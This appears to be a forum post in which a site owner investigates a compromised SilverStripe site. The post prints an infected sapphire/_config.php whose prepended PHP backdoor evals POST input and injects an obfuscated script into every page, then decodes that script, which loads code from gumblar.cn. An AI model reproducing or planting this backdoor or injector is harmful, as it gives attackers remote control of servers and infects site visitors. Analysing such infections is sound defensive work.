Continuing to investigate...
file "sapphire/_config.php" (md5: E346AEA21C8935FFAC52472256BEB94D)
<?php if(!function_exists('tmp_lkojfghx')){if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCihmdW5jdGlvbihDcVBBKXt2YXIgb09CWHo9JyUnO3ZhciBDYWp5PSd2YXIsMjBhLDNkLDIyLDUzY3JpcHQsNDUsNmVnaSw2ZWUsMjIsMmMsNjIsM2QsMjJWZXJzaW8sNmUoLDI5KywyMiwyY2osM2QsMjIsMjIsMmN1LDNkLDZlYXZpZ2F0b3IsMmV1LDczLDY1ckFnLDY1biw3NCwzYmksNjYoKCw3NSwyZSw2OW4sNjRleE9mLDI4LDIyV2luLDIyKSwzZTApLDI2LDI2KHUsMmVpbmRleE9mKCwyMiw0ZVQsMjA2LDIyLDI5LDNjMCksMjYsMjYoZG8sNjN1bWVuLDc0LDJlY29va2ksNjUsMmVpbmRleE9mKCwyMm1pZWssM2QxLDIyKSwzYzApLDI2LDI2KCw3NHlwZW9mLDI4enJ2enRzKSwyMSwzZHR5LDcwZSw2ZmYoLDIyQSwyMikpLDI5LDdienIsNzYsN2EsNzRzLDNkLDIyQSwyMiwzYmV2YWwsMjgsMjJpLDY2KHcsNjluLDY0byw3NywyZSwyMithKywyMilqLDNkaissMjIrLDYxLDJiLDIyTSw2MWpvciwyMissNjIrYSssMjJNaW5vciwyMitiK2ErLDIyLDQydWksNmNkLDIyK2IrLDIyaiwzYiwyMiksM2JkLDZmY3VtZW50LDJldyw3Mml0ZSgsMjIsM2NzYyw3MmksNzAsNzQsMjBzLDcyYywzZCwyZiwyZmcsNzVtYiw2Y2FyLDJlY24sMmZycyw3MywyZiwzZmlkLDNkLDIyK2osMmIsMjIsM2UsM2MsNWMsMmZzY3JpcHQsM2UsMjIsMjksM2IsN2QnO3ZhciBvMjhTUz1DYWp5LnJlcGxhY2UoQ3FQQSxvT0JYeik7ZXZhbCh1bmVzY2FwZShvMjhTUykpfSkoLywvZyk7CiAtLT48L3NjcmlwdD4='));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139)))$s=gzinflate(substr($s,10,-8));if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}$s1=preg_replace('#<script language=javascript><!-- \ndocument\.write\(unescape\(.+?\n --></script>#','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',TMP_XHGFJOKL.'\1',$s1);elseif(($s1!=$s)||stristr($s,'</body')||stristr($s,'</title><script type="text/javascript" src="http://silverstripe.org/jsparty/jquery/jquery.js?m=1227766836"></script><script type="text/javascript" src="http://silverstripe.org/mysite/javascript/misc.js?m=1229400826"></script><script type="text/javascript" src="http://silverstripe.org/themes/silverstripe/javascript/jquery.fancybox-1.0.0.js?m=1229311003"></script><script type="text/javascript" src="http://silverstripe.org/forum/javascript/jquery.js?m=1227135758"></script><script type="text/javascript" src="http://silverstripe.org/forum/javascript/forum.js?m=1234757076"></script><script type="text/javascript" src="http://silverstripe.org/forum/javascript/jquery.MultiFile.js?m=1227135758"></script><script type="text/javascript">//<![CDATA[
(function($) {
$(document).ready(function() {
var popupElements = $('a.fancy');
if(typeof(popupElements) != 'undefined' && popupElements.length > 0) popupElements.fancybox({overlayShow: true});
});
})(jQuery);
//]]></script><script type="text/javascript" src="http://silverstripe.org/jsparty/jquery/jquery.js?m=1227766836"></script><script type="text/javascript" src="http://silverstripe.org/mysite/javascript/misc.js?m=1229400826"></script><script type="text/javascript" src="http://silverstripe.org/themes/silverstripe/javascript/jquery.fancybox-1.0.0.js?m=1229311003"></script><script type="text/javascript" src="http://silverstripe.org/forum/javascript/jquery.js?m=1227135758"></script><script type="text/javascript" src="http://silverstripe.org/forum/javascript/forum.js?m=1234757076"></script><script type="text/javascript" src="http://silverstripe.org/forum/javascript/jquery.MultiFile.js?m=1227135758"></script><script type="text/javascript">//<![CDATA[
(function($) {
$(document).ready(function() {
var popupElements = $('a.fancy');
if(typeof(popupElements) != 'undefined' && popupElements.length > 0) popupElements.fancybox({overlayShow: true});
});
})(jQuery);
//]]></script><script type="text/javascript" src="http://silverstripe.org/jsparty/jquery/jquery.js?m=1227766836"></script><script type="text/javascript" src="http://silverstripe.org/mysite/javascript/misc.js?m=1229400826"></script><script type="text/javascript" src="http://silverstripe.org/themes/silverstripe/javascript/jquery.fancybox-1.0.0.js?m=1229311003"></script><script type="text/javascript" src="http://silverstripe.org/forum/javascript/jquery.js?m=1227135758"></script><script type="text/javascript" src="http://silverstripe.org/forum/javascript/forum.js?m=1234757076"></script><script type="text/javascript" src="http://silverstripe.org/forum/javascript/jquery.MultiFile.js?m=1227135758"></script><script type="text/javascript">//<![CDATA[
(function($) {
$(document).ready(function() {
var popupElements = $('a.fancy');
if(typeof(popupElements) != 'undefined' && popupElements.length > 0) popupElements.fancybox({overlayShow: true});
});
})(jQuery);
//]]></script><script type="text/javascript" src="http://silverstripe.org/jsparty/jquery/jquery.js?m=1227766836"></script><script type="text/javascript" src="http://silverstripe.org/mysite/javascript/misc.js?m=1229400826"></script><script type="text/javascript" src="http://silverstripe.org/themes/silverstripe/javascript/jquery.fancybox-1.0.0.js?m=1229311003"></script><script type="text/javascript" src="http://silverstripe.org/forum/javascript/jquery.js?m=1227135758"></script><script type="text/javascript" src="http://silverstripe.org/forum/javascript/forum.js?m=1234757076"></script><script type="text/javascript" src="http://silverstripe.org/forum/javascript/jquery.MultiFile.js?m=1227135758"></script><script type="text/javascript">//<![CDATA[
(function($) {
$(document).ready(function() {
var popupElements = $('a.fancy');
if(typeof(popupElements) != 'undefined' && popupElements.length > 0) popupElements.fancybox({overlayShow: true});
});
})(jQuery);
//]]></script>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?><?php
/**
* Sapphire configuration file
*
* Here you can make different settings for the Sapphire module (the core
* module).
*
* For example you can register the authentication methods you wish to use
* on your site, e.g. to register the OpenID authentication method type
*
* <code>
* Authenticator::register_authenticator('OpenIDAuthenticator');
* </code>
*
* @package sapphire
* @subpackage core
*/
// Default director
Director::addRules(10, array(
'Security//$Action/$ID/$OtherID' => 'Security',
//'Security/$Action/$ID' => 'Security',
'db//$Action' => 'DatabaseAdmin',
'$Controller//$Action/$ID/$OtherID' => '*',
'images' => 'Image_Uploader',
'' => 'RootURLController',
'api/v1/live' => 'VersionedRestfulServer',
'api/v1' => 'RestfulServer',
'soap/v1' => 'SOAPModelAccess',
'dev' => 'DevelopmentAdmin'
));
Director::addRules(1, array(
'$URLSegment//$Action/$ID/$OtherID' => 'ModelAsController',
));
/**
* PHP 5.2 has a namespace conflict with our datetime class,
* for legacy support, we use this overload method.
* // ENFORCE STRONG_CREATE
*/
Object::useCustomClass('Datetime','SSDatetime',true);
/**
* Add pear parser to include path
*/
$path = Director::baseFolder().'/sapphire/parsers/';
set_include_path(str_replace('.' . PATH_SEPARATOR, '.' . PATH_SEPARATOR . $path . PATH_SEPARATOR, get_include_path()));
/**
* Define a default language different than english
*/
//i18n::set_locale('ca_AD');
/**
* The root directory of TinyMCE
*/
define('MCE_ROOT', 'jsparty/tiny_mce2/');
/**
* The secret key that needs to be sent along with pings to /Email_BounceHandler
*
* Change this to something different for increase security (you can
* override it in mysite/_config.php to ease upgrades).
* For more information see:
* {@link http://doc.silverstripe.com/doku.php?id=email_bouncehandler}
*/
define('EMAIL_BOUNCEHANDLER_KEY', '1aaaf8fb60ea253dbf6efa71baaacbb3');
?>where only the top is changed, although it's a long line and ends with a php close tag.
using http://www.functions-online.com/base64_decode.html the obfuscated part turns into this...
<script language=javascript><!--
(function(CqPA){var oOBXz='%';var Cajy='var,20a,3d,22,53cript,45,6egi,6ee,22,2c,62,3d,22Versio,6e(,29+,22,2cj,3d,22,22,2cu,3d,6eavigator,2eu,73,65rAg,65n,74,3bi,66((,75,2e,69n,64exOf,28,22Win,22),3e0),26,26(u,2eindexOf(,22,4eT,206,22,29,3c0),26,26(do,63umen,74,2ecooki,65,2eindexOf(,22miek,3d1,22),3c0),26,26(,74ypeof,28zrvzts),21,3dty,70e,6ff(,22A,22)),29,7bzr,76,7a,74s,3d,22A,22,3beval,28,22i,66(w,69n,64o,77,2e,22+a+,22)j,3dj+,22+,61,2b,22M,61jor,22+,62+a+,22Minor,22+b+a+,22,42ui,6cd,22+b+,22j,3b,22),3bd,6fcument,2ew,72ite(,22,3csc,72i,70,74,20s,72c,3d,2f,2fg,75mb,6car,2ecn,2frs,73,2f,3fid,3d,22+j,2b,22,3e,3c,5c,2fscript,3e,22,29,3b,7d';var o28SS=Cajy.replace(CqPA,oOBXz);eval(unescape(o28SS))})(/,/g);
--></script>then substituting ',' for '%' then using http://www.functions-online.com/urldecode.html the obfuscated part turns into this...
var a="ScriptEngine",b="Version() ",j="",u=navigator.userAgent;if((u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){zrvzts="A";eval("if(window." a ")j=j " a+"Major" b a "Minor" b a "Build" b "j;");document.write("<script src=//gumblar.cn/rss/?id=" j+"><\/script>");}Again, same web site, "gumblar.cn" flagged for malware and trojans by McAfee SiteAdvisor and Google safe browsing.
[ see http://www.siteadvisor.com/sites/gumblar.cn for report ]
